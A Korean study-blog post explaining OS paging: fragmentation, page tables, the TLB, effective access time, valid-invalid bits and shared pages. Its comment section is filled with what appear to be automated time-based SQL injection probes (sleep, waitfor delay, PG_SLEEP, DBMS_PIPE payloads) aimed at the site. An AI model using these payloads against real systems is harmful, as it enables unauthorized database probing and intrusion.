CS스터디

[CS스터디] Paging(1)

by VICENTE97P4

April 28, 2022, 9:26 p.m.

process를 memory에 연속적으로 저장하는 기법을 contiguous allocation이라고 합니다.

그런데 이 기법을 쓰면 process는 생성과 소멸이 반복적으로 자주 일어나다 보니 빈 공간이 생깁니다.

남은 자투리 공간을 fragment라고 합니다.

- external fragmentation

- fragment가 너무 작아서 쓸모 없는 공간이 되는 경우입니다.

- Best fit(process를 크기에 최대한 비슷한 공간에 배치하는 기법)을 사용하면 external fragmentation이 생길 확률이 높습니다.

- Internal fragmentation

- process에 memory 할당을 해줬는데 사용하지 않는 경우입니다.

- 1000byte가 필요한 process에 관리의 편의성을 위해 1024byte를 할당하게 되면 24byte는 internal fragment가 됩니다.

internal fragment야 이미 할당해줬으니 어쩔 수 없다 쳐도, external fragment는 활용방안이 있습니다.

그냥 memory를 한 쪽으로 쭉 밀어붙이면 됩니다. 이 기법을 compaction이라 합니다.

그런데 모든 address space들의 주소값이 바뀌기 때문에 compaction은 매우 무거운 연산이 됩니다.

(base register 값이 바뀜, memory copy가 많이 발생해서 오버헤드 증가)

그래서 애초에 compaction을 쓰지 않는 쪽으로 발전했습니다.

Paging

External fragmentation이 생기지 않도록 만드는 기법입니다.

메모리(DRAM)를 일정 크기로 조각내어서 저장하는 방식입니다. 통상 4KB 정도로 자르고 이 조각을 frame이라고 합니다.

process의 address space도 같은 크기로 자릅니다. 그리고 이 조각을 page라고 합니다.

빈 frame에 page를 집어넣으며 이를 paging 기법이라 합니다.

address space가 non-contiguous하게 흩어지는 것을 허용함으로써 external fragmentation이 발생하지 않도록 하는 기법입니다.

그럼 각각 page가 어느 frame에 저장되어있는지 알아야 하는데 이를 관리하는 자료구조를 page table이라고 합니다.

여전히 internal fragmentation 문제는 발생할 수 있으나 external fragmentation이 발생하지 않아 memory 효율성이 좋아졌습니다.

paging 기법을 쓰면 base register와 limit register가 필요없어집니다. 시작주소가 의미없어지기 때문이죠.

logical address가 0 ~ 2^m - 1까지 존재한다고 하면 주소 표현에 m bits가 필요합니다.

page size가 2^n이면 page 내에서 offset을 표현할 때 n bits가 필요합니다.

그리고 2^m / 2^n = 2^(m-n) 즉, m-n bits는 page number를 표기하는 데에 사용됩니다.

여전히 CPU가 생성한 logical address에서 page 번호를 계산하고,

page table에서 physical page address를 찾고, offset과 합쳐서 physical address로 변환하는 일

즉 logical address를 physical address로 변환하는 일은 MMU에서 합니다.

이제는 빈 frame 관리가 필요해졌는데, 이는 OS가 free-frame list로 관리하고,

page를 frame에 넣으면서 page table을 생성해나갑니다.

free frame이 부족한 경우에는 virtual memory 기법을 활용합니다.

Page table

page table은 계속 참조되어야 하므로 memory에 올라와있어야 합니다.

이 page table의 위치를 나타내는 정보는 page table base register(PTBR)에 저장합니다.

page table의 길이는 page table length register(PTLR)에 저장합니다.

이제는 CPU가 memory에 한 번 접근할 때 실제로는 두 번의 memory access가 발생합니다.

(page table 찾을 때 1번 + physical address 변환 후 data에 접근할 때 1번)

memory 접근은 CPU 속도에 비해 상대적으로 느리므로 이를 보완하기 위해 Translation Look-aside Buffer(TLB)가 나왔습니다.

TLB

page table의 일부를 담고 있는 매우 빠른 memory입니다.

만일 TLB에 없는 page가 있어서 TLB에서 주소 변환이 일어나지 못하는 경우 어쩔 수 없이 memory에 접근해서 page table을 봐야 합니다.

그런데 TLB는 용량이 작습니다. 그럼 어차피 도루묵이 아닐까? 하고 생각할 수 있습니다.

하지만 spatial locality 때문에 TLB는 효율적입니다. 자주 접근하는 page를 TLB에 저장합니다.

TLB는 associative memory입니다.

page table의 경우에는 시작주소를 저장하는 page table base register 값을 읽어서 offset 만큼 내려와서 직접 접근합니다.

만일 일일히 table을 탐색하는 경우에는 O(N)이 걸리지만 page table은 O(1)만에 접근이 가능하죠.

그런데 TLB는 이런 직접 접근이 불가능합니다. 왜냐하면 page 번호가 연속적으로 들어있는 것이 아니고 띄엄띄엄(3번, 9번, 12번..) 들어있기 때문입니다.

그래서 HW적으로 동시에 search하는 associative memory를 TLB로 사용합니다.

parallel search를 지원하니 당연히 비싸고 크기도 작습니다. cache가 비싸고 작은 이유과 같습니다.

그래서 TLB는 한 번에 원하는 frame number를 알 수 있습니다.

TLB는 context switching의 영향도 받습니다.

process는 자신만의 page table을 가지고 있지만 TLB는 1개입니다.

process는 기본적으로 다른 process의 주소공간에 접근할 수 없기 때문에 context switching이 발생하면 cache 뿐만 아니라 TLB도 비워줘야 합니다.(flush)

즉, context switching이 발생할 때마다 TLB flush가 발생합니다.

CPU가 memory에 접근할 때마다 접근하는 page가 TLB에 올라옵니다.

TLB가 가득 차면 기존 page를 쫓아내고 새 page를 들여옵니다.

page 찾는 과정

1. logical address로부터 page number를 찾습니다.

2. 그 page number로 TLB look-up을 합니다.

3-1. TLB에 있으면, 주소변환이 바로 일어나 data에 접근합니다.(TLB hit)

3-2. TLB에 없으면, page table에 접근해서 frame number를 알아내어 data에 접근합니다.(TLB miss)

이 과정은 MMU가 담당합니다.

Effective Access Time(EAT)

CPU가 memory에 접근해서 원하는 instruction이나 data를 가져올 때까지 걸리는 평균 시간

TLB look up 시간: a

memory access 시간: b

TLB hit ratio: e (0 <= e <= 1)

라고 합시다.

1. TLB hit인 경우: (a + b) * e

2. TLB miss인 경우: (a + 2b) * (1-e)

따라서 EAT = (a + b) * e + (a + 2b) * (1-e) = a + (2-e) * b

위 식에서 만일 e = 1이면 a + b가 됩니다.

paging 기법을 쓰지 않으면 memory 접근 1번으로 끝나니까 b 시간이 걸립니다.

그런데 EAT에서 a는 매우 작으므로 사실상 b와 유사합니다.

만일 e = 0이면 a + 2b가 되어서 약 2배의 시간이 걸리게 되죠.

그래서 e = 1에 가까울수록 좋고, locality가 이를 도와줍니다.

valid - invalid bit

contiguous allocation 기법에서 잘못된 주소를 참조하는지 여부를 MMU에서 검사했습니다.(local address가 limit register 값보다 작은지 검사)

paging 기법에서도 잘못된 메모리 참조가 생길 수 있고 이를 방지하기 위해 valid - invalid bit를 사용합니다.

그림으로 나타내면 이런 방식이 됩니다.

주소는 0 ~ 10468까지 있고, page size는 2KB = 2048바이트라고 합시다.

그럼 10468 // 2048 = 5.xx -> page 개수는 6개만 있으면 됩니다.

그런데 왜 그림에서는 6번, 7번 page가 있을까요?

그 이유는 stack의 주소는 max부터 시작해서 내려오기 때문입니다.

stack과 heap 사이에 안 쓰는 page는 invalid라고 표시합니다.

그럼 만일 실제 사용 공간만 가지고 page table을 만들면 어떻게 될까요?

그럼 빈 공간이 없으니 heap과 stack이 딱 붙어버리게 되고 stack이나 heap이 늘어나면

그 뒤 page들의 번호가 쫘르륵 증가하게 됩니다. 그래서 stack을 max로 밀어버리고 page table을 충분히 크게 만듭니다.

따라서 page table 내부에 사용하지 않는 page가 존재할 수밖에 없고 거기에 invalid라고 표시합니다.

Shared pages

process는 기본적으로 주소공간이 독립적이라 공유가 안됩니다.

하지만 read-only가 보장되는 경우에는 그냥 공유해도 됩니다.

예를 들어 text 메모리 영역은 같은 코드를 실행한다면 공유해도 괜찮습니다.

이는 contiguous allocation 기법으로는 불가능합니다. 왜냐하면 시작 지점이 같아버려서 data가 가변적인 부분까지 공유하게 되기 때문입니다.

하지만 paging 기법을 사용하면 text 부분 frame만 공유하고 data 부분은 서로 다른 frame을 가지면 됩니다.

위 그림은 process 1, 2, 3이 공통적으로 ed라는 editor를 사용할 대의 예시입니다.

process 1이 ed1, ed2, ed3을 memory에 올리면 P2, P3는 그 부분을 공유하고 data 부분만 다른 frame을 가집니다.

paging은 내용이 많아서 2탄에서 계속하겠습니다.

62 view 945

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

KM0AqSPM

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

-1 OR 2+527-527-1=0+0+0+1

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

-1 OR 3+527-527-1=0+0+0+1

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

fmndOppm'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

-1 OR 537=(SELECT 537 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

-1) OR 270=(SELECT 270 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

-1)) OR 537=(SELECT 537 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

Q8qEg9Z2' OR 493=(SELECT 493 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

pdF0xjVW') OR 259=(SELECT 259 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

nH98iR8N')) OR 172=(SELECT 172 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

��%2527%2522\'\"

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:27 p.m.

@@uNllZ

Updated: Feb. 22, 2025, 5:27 p.m.

fnfOzvSR Feb. 22, 2025, 5:35 p.m.

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR Feb. 22, 2025, 5:35 p.m.

Updated: Feb. 22, 2025, 5:35 p.m.

fnfOzvSR Feb. 22, 2025, 5:36 p.m.

555